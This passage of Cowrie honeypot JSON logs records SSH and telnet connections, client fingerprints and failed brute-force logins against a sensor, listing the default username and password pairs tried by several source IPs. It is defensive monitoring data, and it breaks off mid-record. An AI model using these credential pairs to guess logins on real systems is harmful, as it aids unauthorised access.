{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:51.142899Z","src_ip":"176.65.132.254","session":"02885330747a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:51.396999Z","src_ip":"176.65.132.254","session":"02885330747a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39532,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f5cbff1780c","protocol":"telnet","message":"New connection: 134.209.8.29:39532 (159.203.135.109:23) [session: 2f5cbff1780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:52.419814Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:52.483216Z","src_ip":"176.65.132.254","session":"02885330747a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49bf9db0bc6","protocol":"telnet","message":"New connection: 134.209.8.29:38410 (159.203.135.109:23) [session: f49bf9db0bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:53.483003Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35706,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e0d606f6a4","protocol":"ssh","message":"New connection: 176.65.132.254:35706 (10.17.0.5:22) [session: f8e0d606f6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:55.173047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:55.243352Z","src_ip":"176.65.132.254","session":"f8e0d606f6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:55.469340Z","src_ip":"176.65.132.254","session":"f8e0d606f6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:55.838071Z","src_ip":"176.65.132.254","session":"f8e0d606f6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:56.940987Z","src_ip":"176.65.132.254","session":"f8e0d606f6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38424,"dst_ip":"159.203.135.109","dst_port":23,"session":"27eb80ab4cac","protocol":"telnet","message":"New connection: 134.209.8.29:38424 (159.203.135.109:23) [session: 27eb80ab4cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:57.518881Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38428,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f955b349bd","protocol":"telnet","message":"New connection: 134.209.8.29:38428 (159.203.135.109:23) [session: e0f955b349bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:58.744586Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35720,"dst_ip":"10.17.0.5","dst_port":22,"session":"268431914c13","protocol":"ssh","message":"New connection: 176.65.132.254:35720 (10.17.0.5:22) [session: 268431914c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:59.643144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:59.648229Z","src_ip":"176.65.132.254","session":"268431914c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.343296766281128,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:59.763006Z","src_ip":"134.209.8.29","session":"2f5cbff1780c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:51:59.794589Z","src_ip":"176.65.132.254","session":"268431914c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:00.250810Z","src_ip":"176.65.132.254","session":"268431914c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d99bca654c9","protocol":"telnet","message":"New connection: 38.54.119.93:51490 (10.17.0.5:23) [session: 1d99bca654c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:00.277984Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:01.347042Z","src_ip":"176.65.132.254","session":"268431914c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.84261155128479,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:01.361404Z","src_ip":"134.209.8.29","session":"27eb80ab4cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.681631088256836,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:01.959475Z","src_ip":"38.54.119.93","session":"1d99bca654c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d415b6799792","protocol":"telnet","message":"New connection: 165.232.131.181:44984 (10.17.0.5:23) [session: d415b6799792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:03.523834Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49298,"dst_ip":"10.17.0.5","dst_port":22,"session":"d333e11aba96","protocol":"ssh","message":"New connection: 176.65.132.254:49298 (10.17.0.5:22) [session: d333e11aba96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:04.099414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:04.104629Z","src_ip":"176.65.132.254","session":"d333e11aba96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:04.186502Z","src_ip":"176.65.132.254","session":"d333e11aba96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:04.440413Z","src_ip":"176.65.132.254","session":"d333e11aba96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:05.543647Z","src_ip":"176.65.132.254","session":"d333e11aba96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb73ac82c988","protocol":"ssh","message":"New connection: 176.65.132.254:49304 (10.17.0.5:22) [session: fb73ac82c988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:08.577650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:08.581923Z","src_ip":"176.65.132.254","session":"fb73ac82c988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:08.665098Z","src_ip":"176.65.132.254","session":"fb73ac82c988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:08.942701Z","src_ip":"176.65.132.254","session":"fb73ac82c988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:10.028776Z","src_ip":"176.65.132.254","session":"fb73ac82c988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49222,"dst_ip":"10.17.0.5","dst_port":22,"session":"14820fa6be4b","protocol":"ssh","message":"New connection: 176.65.132.254:49222 (10.17.0.5:22) [session: 14820fa6be4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:12.955863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:12.961469Z","src_ip":"176.65.132.254","session":"14820fa6be4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:13.047266Z","src_ip":"176.65.132.254","session":"14820fa6be4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:13.300012Z","src_ip":"176.65.132.254","session":"14820fa6be4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:14.595543Z","src_ip":"176.65.132.254","session":"14820fa6be4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49224,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e6b03cb926","protocol":"ssh","message":"New connection: 176.65.132.254:49224 (10.17.0.5:22) [session: 20e6b03cb926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:17.437260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:17.442385Z","src_ip":"176.65.132.254","session":"20e6b03cb926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:17.524403Z","src_ip":"176.65.132.254","session":"20e6b03cb926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:17.770419Z","src_ip":"176.65.132.254","session":"20e6b03cb926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:18.855799Z","src_ip":"176.65.132.254","session":"20e6b03cb926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.174.211.66","src_port":22552,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c8a038ca25","protocol":"telnet","message":"New connection: 181.174.211.66:22552 (10.17.0.5:23) [session: 22c8a038ca25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:20.405239Z"}
{"eventid":"cowrie.session.closed","duration":46.59226036071777,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:21.543284Z","src_ip":"38.54.119.93","session":"5154ecaa6c29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49240,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a5b6d25bc0","protocol":"ssh","message":"New connection: 176.65.132.254:49240 (10.17.0.5:22) [session: 99a5b6d25bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:21.653458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:21.758407Z","src_ip":"176.65.132.254","session":"99a5b6d25bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-